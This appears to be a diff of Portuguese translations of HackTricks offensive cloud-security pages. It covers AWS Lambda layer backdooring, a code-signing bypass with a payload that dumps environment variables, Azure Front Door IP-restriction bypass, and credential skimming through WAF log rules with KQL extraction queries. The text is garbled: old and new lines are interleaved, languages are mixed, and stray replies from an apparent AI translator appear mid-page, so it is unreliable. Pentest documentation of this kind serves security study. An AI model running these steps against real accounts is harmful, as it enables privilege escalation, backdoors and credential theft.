Depois, compacte o diretório `./lambda_layer` e **faça upload do novo lambda layer** na sua própria conta (ou na da vítima, mas você pode não ter permissões para isso).\
Observe que você precisa criar um python folder e colocar as bibliotecas nele para sobrescrever /opt/python/boto3. Além disso, o layer precisa ser **compatível com a python version** usada pela lambda e, se você fizer upload para sua conta, precisa estar na **mesma region:**
Em seguida, compacte o diretório `./lambda_layer` em um zip e **faça o upload da nova lambda layer** na sua própria conta (ou na conta da vítima, mas você pode não ter permissões para isso).\
Observe que você precisa criar uma pasta python e colocar as bibliotecas nela para sobrescrever /opt/python/boto3. Além disso, a layer precisa ser **compatible with the python version** usada pela lambda e, se você fizer o upload para sua conta, ela precisa estar na **mesma região:**
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
@@ -221,30 +221,30 @@ aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
```
E anexe a lambda layer à função lambda da vítima:
E anexe a lambda layer à victim lambda function:
```bash
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
```
O próximo passo seria ou **invocar a função** nós mesmos, se pudermos, ou esperar até que **ela seja invocada** por meios normais — que é o método mais seguro.
O próximo passo seria ou **invocar a função** nós mesmos, se pudermos, ou esperar até que e**la seja invocada** por meios normais — o que é o método mais seguro.
Uma **maneira mais stealth de explorar esta vulnerabilidade** pode ser encontrada em:
Uma **forma mais furtiva de explorar essa vulnerabilidade** pode ser encontrada em:
{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
{{#endref}}
**Potential Impact:** Privesc direto para a role de serviço do lambda usada.
**Impacto Potencial:** Privesc direto para a role de serviço do lambda usada.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
Talvez com essas permissões você consiga criar uma função e executá-la chamando a URL... mas eu não consegui encontrar uma maneira de testá-la, então me avise se você conseguir!
Talvez com essas permissões você consiga criar uma função e executá-la chamando a URL... mas eu não consegui encontrar uma forma de testá-la, então me avise se você conseguir!
### Lambda MitM
Some lambdas are going to be **receiving sensitive info from the users in parameters.** If get RCE in one of them, you can exfiltrate the info other users are sending to it, check it in:
Algumas lambdas vão **receber informações sensíveis dos usuários nos parâmetros.** Se conseguir RCE em uma delas, você pode exfiltrate as informações que outros usuários estão enviando para ela; veja em:
{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -255,25 +255,22 @@ Some lambdas are going to be **receiving sensitive info from the users in parame
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
{{#include ../../../../banners/hacktricks-training.md}}
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
Se uma função Lambda exigir code signing, um atacante que puder remover a Code Signing Config (CSC) ou rebaixá-la para Warn pode implantar código não assinado na função. Isso contorna as proteções de integridade sem modificar a role IAM da função ou os triggers.
Se uma função Lambda impõe code signing, um atacante que puder remover o Code Signing Config (CSC) ou rebaixá-lo para Warn pode implantar código não assinado na função. Isso contorna as proteções de integridade sem modificar a IAM role da função ou seus triggers.
Permissions (one of):
Permissões (uma das):
- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
Notes:
- For Path B, you don't need an AWS Signer profile if the CSC policy is set to `WARN` (unsigned artifacts allowed).
Observações:
- Para o Path B, você não precisa de um AWS Signer profile se a política do CSC estiver definida como `WARN` (unsigned artifacts allowed).
Steps (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
Passos (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
Prepare a small payload:
Prepare um pequeno payload:
```bash
cat > handler.py <<'PY'
import os, json
@@ -282,7 +279,7 @@ return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py
```
Caminho A) Remover CSC e atualizar o código:
Caminho A) Remover o CSC e em seguida atualizar o código:
```bash
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
@@ -303,7 +300,7 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
```
Confirmo: vou traduzir o texto relevante para português mantendo exatamente a mesma sintaxe Markdown/HTML. Não traduzirei código, nomes de técnicas, termos comuns de hacking, nomes de plataformas (Workspace, aws, gcp...), a palavra "leak", "pentesting", links, paths, refs ou qualquer tag (por exemplo {#tabs}, {#tab name="Method1"}, {#ref}, {#include ...}). Não alterarei tags/links/paths e não adicionarei conteúdo extra.
Confirmado. Posso traduzir o conteúdo para Português mantendo exatamente a mesma sintaxe Markdown/HTML e sem traduzir código, nomes de plataformas, links, paths ou tags especificadas. Cole aqui o conteúdo do arquivo README.md que deseja traduzir.
```bash
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json
@@ -314,4 +311,4 @@ Limpeza:
```bash
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
```
{{#include ../../../../banners/hacktricks-training.md}}

73
src/pentesting-cloud/azure-security/az-services/az-front-door.md
View File

@@ -1,18 +1,81 @@
# Az - Compartilhamentos de Arquivos
# Az - Front Door
{{#include ../../../banners/hacktricks-training.md}}
## Bypass de RemoteAddr
Este **[post de blog](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** explica como, ao configurar algumas restrições de rede com Azure Front Door, você pode filtrar com base em **`RemoteAddr`** ou **`SocketAddr`**. A principal diferença é que **`RemoteAddr`** realmente usa o valor do cabeçalho HTTP **`X-Forwarded-For`**, tornando muito fácil contornar.
This **[blog post](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** explains how when you are configuring some network restrictions with Azure Front Door you can filter based on **`RemoteAddr`** or **`SocketAddr`**. Being the main difference that **`RemoteAddr`** actually uses the value from the **`X-Forwarded-For`** HTTP header making it very easy to bypass.
Para contornar essa regra, ferramentas automatizadas podem ser usadas que **forçam endereços IP** até encontrar um válido.
To bypass this rule automated tools can be used that **brute-force IP addresses** until it finds a valid one.
Isso é mencionado na [documentação da Microsoft](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction).
This is mentioned in the [Microsoft documentation](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction).
## Credential Skimming via WAF Custom Rules + Log Analytics
## Referências
Abuse Azure Front Door (AFD) WAF Custom Rules in combination with Log Analytics to capture cleartext credentials (or other secrets) traversing the WAF. This is not a CVE; it’s misuse of legitimate features by anyone who can modify the WAF policy and read its logs.
Key behavior enabling this:
- AFD WAF Custom Rules can match on request elements including headers and POST parameters.
- When a Custom Rule uses the action Log traffic only, evaluation continues and traffic proceeds (no short-circuit), keeping the flow normal/stealthy.
- AFD writes verbose diagnostics to Log Analytics under Category FrontDoorWebApplicationFirewallLog. Matched payload details are included in details_matches_s along with the rule name in ruleName_s.
### Fluxo de ponta a ponta
1. Identify target POST parameters
- Inspecione o formulário de login e anote os nomes dos parâmetros (p.ex., username, password).
2. Enable diagnostics to Log Analytics
- No seu Front Door profile > Monitoring > Diagnostic settings, envie logs para um Log Analytics workspace.
- No mínimo, habilite a category: FrontDoorWebApplicationFirewallLog.
3. Create a malicious Custom Rule
- Front Door WAF Policy > Custom rules > New rule:
- Name: nome inocente, p.ex., PasswordCapture
- Priority: número baixo (p.ex., 5) para que avalie cedo
- Match: POST arguments username and password com Operator = Any (match any value)
- Action: Log traffic only
4. Generate events
```bash
curl -i -X POST https://example.com/login \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "username=alice&password=S3cret!"
```
5. Extrair credenciais do Log Analytics (KQL)
```kusto
AzureDiagnostics
| where Category == "FrontDoorWebApplicationFirewallLog"
| where ruleName_s == "PasswordCapture"
| project TimeGenerated, ruleName_s, details_matches_s
| order by TimeGenerated desc
```
Não recebi o conteúdo do arquivo az-front-door.md. Cole aqui o texto que você quer traduzir e eu realizarei a tradução para português conforme as instruções (preservando markdown, tags, links e termos técnicos).
```kusto
AzureDiagnostics
| where Category == "FrontDoorWebApplicationFirewallLog" and ruleName_s == "PasswordCapture"
| extend m = parse_json(details_matches_s)
| mv-expand match = m.matches
| project TimeGenerated, ruleName_s, match.matchVariableName, match.matchVariableValue
| order by TimeGenerated desc
```
Os valores correspondentes aparecem em details_matches_s e incluem os valores em cleartext que corresponderam à sua regra.
### Por que Front Door WAF e não Application Gateway WAF?
- Os logs de custom-rule do Application Gateway WAF não incluem os valores POST/header ofensivos da mesma forma; os diagnósticos do AFD WAF incluem o conteúdo correspondente em details, permitindo a captura de credenciais.
### Furtividade e variantes
- Defina Action para Log traffic only para evitar interromper requisições e para manter outras regras sendo avaliadas normalmente.
- Use um Priority numérico baixo para que sua regra de logging seja avaliada antes de quaisquer regras posteriores de Block/Allow.
- Você pode direcionar quaisquer nomes/locais sensíveis, não apenas params POST (por exemplo, headers como Authorization ou API tokens em campos do body).
### Pré-requisitos
- Uma instância existente do Azure Front Door.
- Permissões para editar a política do AFD WAF e ler o Log Analytics workspace associado.
## References
- [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)
- [Skimming Credentials with Azure's Front Door WAF](https://trustedsec.com/blog/skimming-credentials-with-azures-front-door-waf)
- [Azure WAF on Front Door monitoring and logging](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-monitor)
{{#include ../../../banners/hacktricks-training.md}}